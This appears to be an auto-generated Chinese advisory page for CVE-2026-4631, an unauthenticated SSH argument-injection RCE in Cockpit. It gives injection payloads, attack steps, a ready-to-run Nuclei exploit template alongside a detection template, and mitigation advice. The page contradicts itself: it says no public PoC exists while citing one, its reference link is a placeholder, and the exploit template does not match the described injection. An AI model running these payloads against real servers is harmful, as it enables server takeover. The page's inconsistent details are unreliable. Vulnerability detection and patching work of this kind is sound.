[webapps] Cockpit 359 - RCE

CVE-2026-4631

Cockpit Web管理界面存在SSH参数注入,未经认证攻击者可实现远程代码执行。

Critical · CVSS 9.8

📋 漏洞基础信息

CVECVE-2026-4631
漏洞类型命令注入(SSH参数注入)
受影响版本Cockpit 327至359版本
危害等级Critical · CVSS 9.8
发布日期2026-05-21
来源Exploit-DB 原文 ↗

🔬 漏洞根因

Cockpit在构造SSH连接时,将用户可控的Hostname或Username字段直接拼接到SSH命令行参数中,未进行有效过滤或转义,导致攻击者可通过注入-oProxyCommand等OpenSSH参数执行任意系统命令。

🎯 攻击场景

1. 攻击者确定目标Cockpit服务URL(如http://target:9090); 2. 选择攻击向量:Hostname注入或Username注入; 3. 构造恶意请求:对于Hostname向量,将命令编码后拼接到URL路径中(如/cockpit+=-oProxyCommand=id/login);对于Username向量,在Basic认证的username字段注入类似x; command; #的payload; 4. 发送GET请求到/login端点; 5. 若目标OpenSSH版本低于9.6,命令将在SSH进程上下文中执行。

💥 漏洞影响

攻击者可在未认证的情况下,在目标服务器上以SSH进程权限执行任意系统命令,导致完全控制服务器、敏感数据泄露、植入后门、横向移动等严重后果。

⚔️ Nuclei Exploit 模板

以下为标准 Nuclei v3 格式的利用模板,可直接用于漏洞验证:

id: CVE-2026-4631-exploit

info:
  name: Cockpit 359 - Remote Code Execution via SSH Argument Injection
  author: intx0x80
  severity: critical
  description: Exploits CVE-2026-4631 in Cockpit versions 327-359 by injecting through SSH arguments during authentication
  reference:
    - https://www.exploit-db.com/exploits/xxxxx
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-4631
  metadata:
    max-request: 1

variables:
  cmd: 'id'

http:
  - raw:
      - |+
        GET /cockpit+={{encode_base64(cmd)}}/login HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic {{base64('invalid:PWN')}}
        Referer: {{BaseURL}}/
        Origin: {{BaseURL}}

    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'uid='
          - 'gid='
          - 'groups='
        condition: or
        part: body
    extractors:
      - type: regex
        part: body
        regex:
          - 'uid=[0-9]+\([a-zA-Z0-9_-]+\) gid=[0-9]+\([a-zA-Z0-9_-]+\) groups=[0-9]+\([a-zA-Z0-9_-]+\)'

🔬 深度技术分析

原始PoC提供两种注入向量: 1. Hostname向量:通过URL中/cockpit+=-oProxyCommand=<命令编码>/login,将-oProxyCommand参数传递给SSH,从而执行任意命令; 2. Username向量:在Basic认证的Username字段中注入x; command; #,利用%r token展开或命令行注入,使得SSH在执行连接前执行命令。 PoC包含时间盲检测功能(sleep 5),以及反向shell、OOB回调等利用方式。

🔍 Nuclei Detection 模板

以下为漏洞探测模板,用于判断目标是否受影响:

id: CVE-2026-4631-detection

info:
  name: Cockpit 359 - Detection
  author: intx0x80
  severity: high
  description: Detects Cockpit versions 327-359 vulnerable to SSH argument injection
  reference:
    - https://www.exploit-db.com/exploits/xxxxx
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-4631

http:
  - method: GET
    path:
      - '{{BaseURL}}/cockpit/login'
      - '{{BaseURL}}/login'
      - '{{BaseURL}}/'
    matchers-condition: and
    matchers:
      - type: word
        words:
          - 'Cockpit'
          - 'cockpit-project'
        part: body
        condition: or
      - type: status
        status:
          - 200
          - 302
          - 401
      - type: regex
        regex:
          - 'Cockpit/[0-9]+\.[0-9]+\.[0-9]+'
        part: header
        condition: or
    extractors:
      - type: regex
        name: version
        part: header
        regex:
          - 'Cockpit/([0-9]+\.[0-9]+\.[0-9]+)'
      - type: regex
        name: version
        part: body
        regex:
          - '"version":"([^"]+)"'
    stop-at-first-match: false

🛡️ 修复建议

升级Cockpit至360及以上版本(官方已修复);临时缓解措施:限制Cockpit服务的网络访问,仅允许信任IP连接;在反向代理层过滤包含-oProxyCommand的URL请求;升级OpenSSH至9.6+以缓解Hostname向量。

📎 参考链接

🚨 威胁评估

📈 EPSS 利用概率暂无数据
🚨 CISA KEV未被已知利用
🔧 公开 PoC暂无公开 PoC

⚠️ 本文基于公开漏洞数据库,仅供安全研究与防御参考。生成时间: 2026-05-22 08:10 | 来源: Exploit-DB

[!] CONTACT_CHANNELS

如需商务合作、技术咨询或漏洞反馈,请通过以下离岸节点联系作者。

> PING_AUTHOR (@A1RedTeam)